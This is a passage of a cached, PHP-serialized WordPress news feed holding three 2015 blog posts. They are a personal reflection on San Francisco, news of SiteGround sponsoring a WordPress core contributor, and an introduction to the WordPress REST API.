\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Matt: What I Miss and Don’t Miss About San Francisco\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44012\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/left-my-heart-in/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5012:\"<p>A few months ago I was chatting with <a href=\"http://www.borthwick.com/weblog/\">John Borthwick</a>, who had just returned from a trip to San Francisco. I asked him how the city was doing as if he were a traveler who had visited someplace exotic &#8212; &#8220;How is it <em>over there</em>?&#8221; (As an investor he probably sees the crazier side of the city, since part of his job is looking at hundreds of companies, the vast majority of which will fail, and trying to pick a few winners.)</p>\n<p>Despite getting near-daily meeting requests, I don&#8217;t currently have any plans to visit San Francisco. I was there in June for a few days for Foo Camp and for drinks with <a href=\"http://www.tommarioni.com/\">the artist Tom Marioni</a>. I returned for <a href=\"http://2014.sf.wordcamp.org/\">WordCamp San Francisco in October</a>, and again a few weeks ago for <a href=\"http://scobleizer.com/\">Scoble&#8217;s</a> 50th birthday party and a board meeting. But the couple-times-a-year rhythm seems to be enough for me. I&#8217;m enjoying the distance a bit, in fact.</p>\n<p>There has been plenty written about the bubble culture in SF right now, including on <a href=\"http://www.sfgate.com/bayarea/article/Is-the-antitech-movement-obsolete-6067623.php\">the antitech movement that never really took off</a>. <a href=\"http://ma.tt/2013/03/evolution-of-san-francisco/\">It&#8217;s a topic I already blogged about in 2013</a>. But I was curious to unpack my own thoughts about being away from it all.</p>\n<p>What I don&#8217;t miss:</p>\n<ul>\n<li>Too many meetings &#8212; every possible company is there, and everyone wants to meet.</li>\n<li>High prices for everything, from groceries to cocktails. Not even going to talk <a href=\"http://ma.tt/2014/12/how-paul-graham-is-wrong/\">about the real estate market and rentals</a>.</li>\n<li>It takes forever to get across the city, even though it&#8217;s only 7 miles.</li>\n<li>The public transit, while workable, pales in comparison to other places like NYC.</li>\n<li>The weather isn&#8217;t bad, until you drive to Palo Alto or Marin and notice how much nicer it is there. (Or take a one-hour flight to Los Angeles or San Diego.)</li>\n<li>This is anecdotal, but I feel like cell phone service is terrible, especially for making calls. Calls are unintelligible and drop frequently. I think this is why everyone texts.</li>\n</ul>\n<p>I don&#8217;t have any problem with the social scene; SF might be tech-heavy, but it&#8217;s fairly easy to get out of the tech bubble. Many forget that San Francisco is home to a ton of people working for non-profits, in fashion, finance, bio-tech, art, and music.</p>\n<p>What I miss, deeply: <strong>the people.</strong> Some of my favorite people, professionally and personally, are in the Bay Area, and that&#8217;s the thing that will draw me back someday. I&#8217;m lucky that I can catch up with folks when they travel, like <a href=\"http://janekim.org/\">Jane</a> or <a href=\"http://tonyconrad.wordpress.com/\">Tony</a> in New York or <a href=\"http://om.co/\">Om</a> in Italy. Of course the Automattic headquarters is there, along with some great colleagues, but I can also catch up with them at meetups.</p>\n<p>I miss how much <strong>technology permeates the culture</strong> there, from billboards to services like Uber or <a href=\"https://postmates.com/\">Postmates</a> (or <a href=\"https://munchery.com/\">Munchery</a> or <a href=\"https://www.spoonrocket.com/\">Spoonrocket</a>) that today seem like conveniences, but will be the basis of something very meaningful down the line. You can feel like you&#8217;re living in the future there. Internet speeds seem to be getting better, too &#8212;  local ISPs like <a href=\"https://webpass.net/\">Webpass</a> and <a href=\"https://www.monkeybrains.net/\">Monkeybrains</a> are leading the way, but even my Comcast account there delivers 120mbps.</p>\n<p>I miss being able to run along the water, and the close proximity to lots of beautiful nature areas (granted I didn&#8217;t take much advantage of those when I was still around). The quality of light is really nice &#8212; when you can see it. Restaurants, though tending toward pricey, offer great ingredients and quality.</p>\n<p>Finally, you can&#8217;t deny it&#8217;s a city of hustlers. This tweet has since been deleted, but you get the idea:</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p><a href=\"https://twitter.com/photomatt\">@photomatt</a> Can we interest you in any lemonade? Or what about a quick meeting at <a href=\"https://twitter.com/CoupaCafe\">@CoupaCafe</a> in <a href=\"https://twitter.com/hashtag/paloalto?src=hash\">#paloalto</a> <a href=\"http://t.co/ExoxtXHu38\">pic.twitter.com/ExoxtXHu38</a></p>\n<p>&mdash; Closetclicks (@closetclicks) <a href=\"https://twitter.com/closetclicks/statuses/500345852352008193\">August 15, 2014</a></p></blockquote>\n<p></p>\n<p><img class=\"wp-image-44687 size-full\" src=\"http://i0.wp.com/ma.tt/files/2015/02/closetclicks_2015-Feb-11.jpg?resize=604%2C453\" alt=\"\" /></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:10:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"WPTavern: SiteGround Sponsors a Full-Time Contributor to WordPress Core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38870\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/siteground-sponsors-a-full-time-contributor-to-wordpress-core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4217:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg\" rel=\"prettyphoto[38870]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg?resize=720%2C352\" alt=\"siteground-offices\" class=\"aligncenter size-full wp-image-38896\" /></a></p>\n<p><a href=\"https://profiles.wordpress.org/iseulde\" target=\"_blank\">Iseulde Van Dorpe</a> is joining <a href=\"https://www.siteground.com/\" target=\"_blank\">SiteGround</a> to work full-time as a contributor to WordPress core. She expects to work on a variety of different tasks, particularly those that relate to media and the editing experience. Van Dorpe&#8217;s recent core contributions helped to improve the editor for users in the 4.0 release.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>There are many WordPress 4.0 standouts, but <a href=\"https://twitter.com/avryl\">@avryl</a> took my editor sizing/scrolling idea and ran with it. Turned it into something *magical*.</p>\n<p>&mdash; Mark Jaquith  (@markjaquith) <a href=\"https://twitter.com/markjaquith/status/507580649536880640\">September 4, 2014</a></p></blockquote>\n<p></p>\n<p>SiteGround identified and selected its new contributor based on recommendations from others involved in core development. &#8220;In search of developing our WordPress involvement even further, we made some inquiries as to what is most needed by the project at the moment,&#8221; said Tina Kesova, VP of Strategic Partnerships at SiteGround.</p>\n<p>&#8220;The answer we received was that front-end and Javascript specialists will be very valuable. A recommendation for Iseulde’s work in this field was also received from several key WordPress people, who have been impressed with the things she has done for the last year since she first started contributing on a volunteer basis,&#8221; she said.</p>\n<p>For the past five years, SiteGround has been actively involved with supporting the project by sponsoring community events, dedicating employees to help with event orgranization, and sending speakers to share their knowledge at WordCamps around the world.</p>\n<p>&#8220;We also already have a great relationship with Mario Peshev, who is contributing to the core on a part-time basis sponsored by our company,&#8221; Kesova said. This experience helped with the company&#8217;s decision to sponsor Van Dorpe as a full-time contributor.</p>\n<p>&#8220;What truly won us after we had personally met her, was that she is not just a capable WordPress developer, but she is also a great fit for our company culture,&#8221; Kesova said. &#8220;She has the same passion for quality and efficiency that drives SiteGround.&#8221;</p>\n<h3>What does a full-time WordPress core contributor do?</h3>\n<p>SiteGround isn&#8217;t the first hosting company to sponsor an employee&#8217;s time for working on the WordPress project. WP Engine, Dreamhost, and a handful of others have been doing so for the past several years. The job varies, depending on the amount of time the company can lend and the contributor&#8217;s areas of specialty and interest.</p>\n<p>&#8220;As part of the SiteGround team Iseulde will be working full time contributing to WordPress core and helping with some maintenance tasks,&#8221; Kesova said. &#8220;She has some great ideas about improvements in the WordPress backend, including the editor and the media manager, and she will be also doing some support work for WordPress by reviewing and closing tickets and patches.&#8221;</p>\n<p>Van Dorpe, originally from Belgium, will be working remotely from her current home in Glasgow, Scotland. SiteGround&#8217;s main headquarters are in Sofia, Bulgaria, but it also has two offices in Bulgaria and one in Spain. The company is in the process of hiring its first American employee and plans to open an office in the USA soon.</p>\n<p>&#8220;As a web hosting company, we are aware of the big significance open source projects like WordPress have for our business, by helping people build their websites on top of the hosting service we provide,&#8221; Kesova said. &#8220;That is why we believe it is our duty to support such projects in a meaningful way that can help further their development.&#8221;</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 18:55:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"Post Status: The WordPress REST API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8643\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"https://poststatus.com/wordpress-json-rest-api/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:22527:\"<p>The WordPress REST API project is the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0. I really believe that.</p>\n<p>While the project is under a major rewrite and not yet slated for a specific core release, it can be really confusing to figure out what&#8217;s going on.</p>\n<p>Let&#8217;s talk about what the new API is, why it matters, and go over the state of the API to answer some common questions I&#8217;ve seen.</p>\n<h3>What is a JSON REST API?</h3>\n<p>Let&#8217;s start by defining the acronyms. It may seem tedious for experienced developers, but it&#8217;s a good way to get us in the right mindset.</p>\n<h4>API: Application Program Interface</h4>\n<p>APIs have a broad definition. Any program is an API. When you have some form of construct in a programming language &#8212; like PHP for example &#8212; where the construct makes it possible to perform a programming task, that&#8217;s a good way to think of an API.</p>\n<p>Let&#8217;s use custom post types as an example. WordPress has a custom post types API. Really, it&#8217;s just a significant chunk of code that makes previously difficult tasks simpler. Now, you can create all new types of content &#8212; that mimic the content structure for posts and pages &#8212; with just a few lines of code.</p>\n<p>The core team created a programming interface to make that possible. That&#8217;s a layman&#8217;s definition for an API.</p>\n<h4>JSON: JavaScript Object Notation</h4>\n<p>JSON is a preferred format for structuring data so that a variety of applications can read it. You can create JSON formatted data from one programming language and read and process it from another. It&#8217;s similar to XML, but seemingly universally preferred over XML.</p>\n<p>JSON makes communication between something like WordPress and something like a mobile app completely possible, as JSON is a common data format between them, so that you can create data on the WordPress side and return it in JSON, so that the data can be easily read on the mobile app side. Such relationships don&#8217;t have to be between WordPress and a mobile app; it could be nearly anything, meaning &#8220;WordPress as an app platform&#8221; becomes much more realistic.</p>\n<div id=\"attachment_8687\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8687\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-data-752x460.jpg\" alt=\"A JSON blurb, at least how it looks when you go straight to the URL\" width=\"752\" height=\"460\" /><p class=\"wp-caption-text\">A JSON blurb, at least how it looks when you go straight to the URL</p></div>\n<p>JSON looks terrifying if you see it &#8220;raw&#8221;. For instance, Post Status has the WordPress REST API enabled, so if you go to <a href=\"https://poststatus.com/wp-json/posts\">https://poststatus.com/wp-json/posts</a> you can see my recent posts in a JSON format. This isn&#8217;t pretty to the human eye, but for a programming language, it&#8217;s beautiful.</p>\n<h4>REST: Representational State Transfer</h4>\n<p>A REST API is an architectural preference. Most REST APIs, including WordPress&#8217;, are based on HTTP. This means that the primary actions of the REST API are HTTP actions: <code>POST</code>, <code>GET</code>, <code>PUT</code>, <code>DELETE</code>.</p>\n<p>So, with a REST API, we are reading or manipulating data using HTTP.</p>\n<p>Wikipedia kindly defines RESTful APIs better than I can, namely with a definition based upon the restraints on the API itself:</p>\n<blockquote><p>Web service APIs that adhere to the <a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_constraints\">REST architectural constraints</a> are called RESTful. HTTP based RESTful APIs are defined with these aspects:</p>\n<ul>\n<li>base <a class=\"mw-redirect\" title=\"URI\" href=\"http://en.wikipedia.org/wiki/URI\">URI</a>, such as <code>http://example.com/resources/</code></li>\n<li>an <a title=\"Internet media type\" href=\"http://en.wikipedia.org/wiki/Internet_media_type\">Internet media type</a> for the data. This is often <a title=\"JSON\" href=\"http://en.wikipedia.org/wiki/JSON\">JSON</a> but can be any other valid Internet media type (e.g. XML, Atom, microformats, images, etc.)</li>\n<li>standard <a class=\"mw-redirect\" title=\"HTTP method\" href=\"http://en.wikipedia.org/wiki/HTTP_method\">HTTP methods</a> (e.g., GET, PUT, POST, or DELETE)</li>\n<li>hypertext links to reference state</li>\n<li>hypertext links to reference related resources<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#cite_note-8\">[8]</a></sup></li>\n</ul>\n</blockquote>\n<p>These restrictions serve as standards that anyone working with a RESTful API can expect to exist. So, in my case, I&#8217;m utilizing both the WP API and the Mailchimp API on Post Status. Interacting with either feels similar, because they&#8217;ve placed similar constraints on themselves.</p>\n<h3>What is the WordPress REST API?</h3>\n<p>Now we know what a JSON REST API is, so we can better define what the WordPress one is.</p>\n<p><span class=\"pullquote alignright\">The WordPress REST API is a common data and programming interface that abstracts the reading and writing of information for WordPress from the WordPress application as we&#8217;ve previously known it.</span> Now, developers working with WordPress don&#8217;t have to know that much about WordPress.</p>\n<h3>How can the WordPress REST API be used?</h3>\n<p>Developers will be able to perform nearly all the data manipulation and data reading functions that are possible with PHP, with the new API. What&#8217;s that mean? It means everything.</p>\n<h4>Ditching WordPress on the front-end</h4>\n<p>With the JSON API, the frontend of WordPress doesn&#8217;t have to be WordPress at all. For example, developers can completely bypass the WordPress templating engine using the API. They can even keep the backend of WordPress and the front-end of the website on completely different server stacks, because they just need to read the data using the API.</p>\n<p>There are already many websites doing this around the web. Some of them use custom APIs they built themselves, and others are using the new WordPress REST API. Let&#8217;s discuss a couple of examples:</p>\n<ol>\n<li>The New York Times uses the WordPress REST API for a variety of things. They are able to use the API in combination with their proprietary CMS. This allows them to pull WordPress data for placement on the Times&#8217; homepage and other places very easily. They&#8217;re also using the REST API for their live event coverage, like this <a href=\"http://elections.nytimes.com/2014/liveblog\">elections live blog</a>.</li>\n<li><a href=\"http://www.bloomberg.com/politics/\">Bloomberg Politics</a> uses WordPress to publish, but based on the front-end of the website, you&#8217;d never know it. I don&#8217;t think they&#8217;re using the official WordPress REST API, but they could.</li>\n<li><a href=\"http://mashable.com/\">Mashable</a> uses WordPress to publish, but their front-end is not WordPress at all. This is also a custom implementation, as they made the switch before the official REST API was even underway.</li>\n</ol>\n<p>These are three examples of news sites using REST APIs for the front-end. But the applications go much, much farther than that.</p>\n<h4>WordPress as an application</h4>\n<p>If you want to see a prime case study, watch K. Adam White&#8217;s presentation from WordCamp San Francisco 2014, where he talks about <a href=\"http://wordpress.tv/2014/11/03/k-adam-white-wordpress-in-weird-places-content-management-for-node-using-rest/\">how his team used WordPress as the CMS for a node.js app</a>. This really highlights the potential I&#8217;m talking about.</p>\n<p>Looking through the resulting <a href=\"https://github.com/kadamwhite/expresspress\">ExpressPress repo</a> that K. Adam highlights in his presentation is an educational and fascinating experience.</p>\n<h4>Custom WordPress admins</h4>\n<p>WordPress administration doesn&#8217;t have to use the WordPress admin as we know it. With the REST API, you can create, edit, and delete content just as well as you can read it.</p>\n<p>Eventually, the WordPress admin itself may be re-written on top of the REST API. Using the API, creating completely custom administration panels will be easier than ever before. This will allow developers to create catered administration experiences for a particular application.</p>\n<div id=\"attachment_8686\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8686\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-wpcom-post-editor-752x561.jpg\" alt=\"The WordPress.com editor\" width=\"752\" height=\"561\" /><p class=\"wp-caption-text\">The WordPress.com editor</p></div>\n<p>For example, WordPress.com has already utilized their own REST API (which will hopefully be a similar implementation to the core API once it&#8217;s included) to create a custom admin experience for their blogging platform.</p>\n<div id=\"attachment_8685\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8685\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-happy-tables-752x490.jpg\" alt=\"The Happy Tables editor\" width=\"752\" height=\"490\" /><p class=\"wp-caption-text\">The Happy Tables editor</p></div>\n<p>Other services, like <a href=\"http://happytables.com\">Happy Tables</a> for instance, have also created custom WordPress admins. Doing this in the future will be easier than ever because the REST API integrates existing WordPress functionality to the API, so that developers don&#8217;t have to reinvent the wheel.</p>\n<h4>App integrations</h4>\n<p>Additionally to custom web integrations, WordPress will be able to talk to apps easier than ever before as well.</p>\n<p>Previous apps that interfaced with WordPress would most often use XML-RPC. With the REST API, the ability to perform complex functions in a reliable manner is increased. It will be simpler than ever to create a mobile app that can not only read WordPress data, but also  create, edit, and delete that data.</p>\n<p>The entire mobile app can be written in Objective-C, Swift, or whatever programming language, and interface with WordPress.</p>\n<p>An example of this in action is <a href=\"http://apppresser.com/\">AppPresser</a> (<a title=\"AppPresser: A foundation for using WordPress to make mobile apps\" href=\"https://poststatus.com/appresser-wordpress-mobile-apps/\">which I covered</a> when it launched). AppPresser has created an application framework that integrates with the WordPress REST API to make creating WordPress apps for individual sites quite simple.</p>\n<p>But it&#8217;s not limited to app creation with a tool like AppPresser. People can now have one data-storage area (WordPress) that can power both the website and an app, and that is a powerful feature. Also, the apps can talk to and write to the WordPress database directly through the API.</p>\n<p>We will see dozens of WordPress apps and admin integrations over the next few years. We could even see whole startups build apps with WordPress as a base layer.</p>\n<p><span class=\"pullquote alignright\">WordPress can provide an excellent foundation for user management, content management, and much more &#8212; reducing the amount of work a startup creating a prototype mobile application have to recreate themselves.</span> The REST API makes it so a mobile app can look completely custom and also use a tool as widely distributed as WordPress to power many of the internals.</p>\n<h3>When is the WordPress REST API going to be in core?</h3>\n<p>The REST API is under heavy development, and is also between major versions that will sever backward compatibility. That has made the state of the API confusing.</p>\n<p>The REST API hasn&#8217;t been slated for a particular release, though it is officially active <a href=\"https://make.wordpress.org/core/features-as-plugins/\">for the &#8220;feature as plugin&#8221;</a> model. The goal is for it to hit core some time in 2015, so probably between WordPress 4.3 and 4.5. I&#8217;d guess closer to 4.5, as there will need to be a lot of testing once the new stable version comes out.</p>\n<h3>Keeping up with development</h3>\n<p>If you want to keep track of the WordPress REST API development, there are a variety of ways to do so, though finding the proper channels can be a challenge at the moment.</p>\n<p>First off, know that a major new version is being finalized as we speak, so there is disparity between 1.1.x and the upcoming version for information, code, and documentation. The version under development &#8212; and is a significant restructuring &#8212; has been under development for nearly seven months.</p>\n<p>The <a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org official plugin page</a> is somewhat closely synchronized with the latest 1.x release, though it is a few commits behind. The plugin is authored by Ryan McCue, who is the project lead and the initial author of the plugin, as it was his Google Summer of Code project for the first iteration. The WordPress.org page could also use some updating to make it more obvious that it&#8217;s the official REST API plugin for the WordPress project.</p>\n<p>The <a href=\"https://github.com/WP-API/WP-API\">WP API Github</a> is where active issue tracking, version management, and releases are being handled. The API has its own account on Github, rather than being a part of the WordPress account, as there are adjacent repos to the actual API and it wasn&#8217;t originally guaranteed to be in core.</p>\n<p>The key to understanding the various states of the WP REST API is to think in terms of <strong>Develop</strong>, <strong>Master</strong>, and <strong>Stable</strong> versions.</p>\n<ul>\n<li><a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org plugin repository</a> is the Stable version of the WP API.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/master\">Github Master branch</a> is where a Beta version of the next release is managed.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/develop\">Github Develop branch</a> is where the active development occurs.</li>\n</ul>\n<p><strong>If you&#8217;re using the WordPress REST API in production, you should use the WordPress.org version only</strong>. The Github Master and Development versions should be used for development and testing only.</p>\n<h3>Improvements coming in the rewrite</h3>\n<p>The long development cycle for the new version of the REST API is because it&#8217;s a signifcant rewrite for the project.</p>\n<p>Based on feedback and real-world use cases, the team was able to identify necessary improvements that needed to happen.</p>\n<p>There have been many, many changes in this version, but a couple of big ones are as follows:</p>\n<ul>\n<li>New functions have been added to allow for registration of custom endpoints with namespaces and versions. Rachel Baker <a href=\"https://gist.github.com/krogsgard/c3975a2ff449f20e56f3\">shared this gist with me</a> that showcases that. This means themes and plugins will be able to add to and extend the API, offering significantly more power to it.</li>\n<li>Comment creation and edit handling have been added in the rewrite.</li>\n<li>The team has also started work on support for options endpoints to be able to view, edit, and create general site options, which would make complete site management possible with the API, in addition to content management.</li>\n</ul>\n<p>The changes in the current development cycle have taken a long time, and have required some significant architectural changes, but are very much worth the long term benefits.</p>\n<h3>Contributors to the WordPress REST API</h3>\n<p>There have been <a href=\"https://github.com/WP-API/WP-API/graphs/contributors\">49 code contributors</a> to the REST API project on Github. It&#8217;s already a huge community effort. However, there are some folks that are really driving the project forward.</p>\n<p><img class=\"aligncenter size-large wp-image-8684\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-contributors-752x484.png\" alt=\"wp-api-contributors\" width=\"752\" height=\"484\" /></p>\n<ul>\n<li><a href=\"https://twitter.com/rmccue\">Ryan McCue</a>: Ryan is the overall project lead, and is generally steering the ship. This all started as his GSoC (Google Summer of Code) project and he is still the lead. He works for <a href=\"http://hmn.md/\">Human Made</a>, primarily on Happy Tables.</li>\n<li><a href=\"https://twitter.com/rachelbaker\">Rachel Baker</a>: Rachel is a project lead, and is doing a great deal of development, as well as education and evangelism. She works for <a href=\"http://10up.com\">10up</a> as a Senior Web Engineer.</li>\n<li><a href=\"https://twitter.com/danielbachhuber\">Daniel Bachhuber</a>: Daniel is in day to day conversations and also commits a lot of code to the project. He works for himself and is the interim engineering director at <a href=\"http://fusion.net/\">Fusion</a>.</li>\n<li><a href=\"https://twitter.com/joe_hoyle\">Joe Hoyle</a>: Joe is in day to day conversations and also commits a lot of code to the project. He is a co-founder of <a href=\"http://hmn.md/\">Human Made</a>.</li>\n</ul>\n<p>Though I highlight these four contributors, but there are a whopping 400 people watching the #core-restapi channel in Slack, and there are 49 code contributors on Github. Everyone deserves a huge round of applause that&#8217;s taken part in the strategic, code, education aspects of this project.</p>\n<p>And this is all before it goes into the core development cycle. Once this gets slated for a specific release, it&#8217;s going to get an insane amount of attention to make sure it&#8217;s ready for prime time and the millions of WordPress installs out there.</p>\n<h3>Meetings and blogs for the REST API</h3>\n<p>The REST API has a standing channel and weekly meeting in WordPress Slack, as well as two blogs you can keep track of:</p>\n<ul>\n<li>#core-restapi on WordPress Slack is where day to day communication occurs, and a feed of commit activity also goes into that channel. The weekly meeting is also here &#8212; and is actually held twice per week &#8212; at 23:00 UTC on Mondays and Wednesdays.</li>\n<li>The <a href=\"https://make.wordpress.org/core/tag/json-api/\">json-api tag on Make WordPress Core</a> is where blog posts about the API go. However, this has been rarely used, and is primarily just for release information.</li>\n<li>Frequent meeting notes and other discussions are posted on <a href=\"http://make.wp-api.org/\">make.wp-api.org</a>, which is an 02 blog (P2&#8217;s mysterious successor).</li>\n<li>Documentation can be viewed on <a href=\"http://wp-api.org\">wp-api.org</a>. It&#8217;s important to keep in mind that <strong>the docs on the main website are for the stable WordPress plugin</strong>, not the Develop branch.</li>\n</ul>\n<h3>Basics for using the WordPress REST API</h3>\n<p>The new API will make sense to people familiar with other REST APIs. However, if you are new to such things, even with the documentation you can easily get lost. I know I did.</p>\n<p>I will have a lot more resources for members soon, but I&#8217;ll try and give a quick intro to reading data now.</p>\n<p>The first thing to remember is that it&#8217;s very important to know if you will be reading data only or reading and changing data. If you are reading data from your own website, and using it on the same website, you don&#8217;t need to worry about authentication. If you are changing, adding, or deleting data, then you need to authenticate with the website you are making changes to.</p>\n<p>Let&#8217;s show a few simple examples of reading data with <code>GET</code>.</p>\n<p>A URL to pull content from Post Status would look like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content with <code>WP_Query</code> parameters you&#8217;re used to, you could do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content of a custom post type, you can do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>And to pull content of a custom post type with those same <code>WP_Query</code> parameters, it looks like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>What you see returned in those URLs is the JSON data we&#8217;re going after. Go ahead and put one of those URLs in a browser tab to see the return data.</p>\n<p>You can see how the method for grabbing that data feels familiar to using <code>WP_Query</code> for a standard WordPress loop. If you don&#8217;t specify a parameter, the defaults to <code>WP_Query</code> will be used.</p>\n<p>These URLs return that data, but obviously you&#8217;ll want to get that data programatically. You can do this within a WordPress install (or outside) with two common methods: PHP or AJAX.</p>\n<p>Handling the data will be similar to handling any other JSON data. I&#8217;ll have more on doing this with WordPress at a later date, but in the meantime you may enjoy <a href=\"http://torquemag.io/introduction-wordpress-new-universal-connector-json-rest-api/\">Josh Pollock&#8217;s introduction</a> to using the REST API.</p>\n<p>Now, of course, you can query far more than posts, as the <a href=\"http://wp-api.org\">WP API website</a> notes, but I just wanted to introduce the concepts.</p>\n<p>The API allows you to manage pretty much anything: posts, pages, custom post types, users, media, taxonomies, or even overall site data.</p>\n<h3>This is just the beginning</h3>\n<p>Unfortunately, I&#8217;ve hardly given a proper introduction to actually using the new WordPress REST API. That will have to wait until another time. That said, you should know have a pretty good understanding of what this project is, what it means for WordPress, and where to go to get started with the new API.</p>\n<p>I highly encourage you to educate yourself on this API, as well as experiment with it. You can use the Stable branch in production projects (like I do here on Post Status), but it would be really great to get more people testing and using the API in general so that when it ships with WordPress it will be as good as it can be.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 22:31:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian 